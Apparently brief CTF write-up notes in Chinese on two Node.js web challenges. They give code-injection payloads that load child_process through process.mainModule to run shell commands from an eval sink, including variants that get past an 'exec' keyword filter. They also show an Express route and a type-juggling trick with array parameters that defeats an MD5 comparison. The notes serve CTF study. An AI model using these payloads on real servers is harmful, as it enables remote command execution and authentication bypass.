Nodejs
Nodejs-Web336
global.process.mainModule.constructor._load('child_process').execSync('ls')
eval执行代码,过滤了exec,上面的payload用不了
网上搜集的payload
require('child_process').spawnSync('ls',['./']).stdout.toString()
global.process.mainModule.constructor._load('child_process').spwanSync('ls',['.']).toString()
Nodejs-Web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键代码a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
传入a[x]=1&b[x]=1
a,b都是引用类型md5就可以绕过

浙公网安备 33010602011771号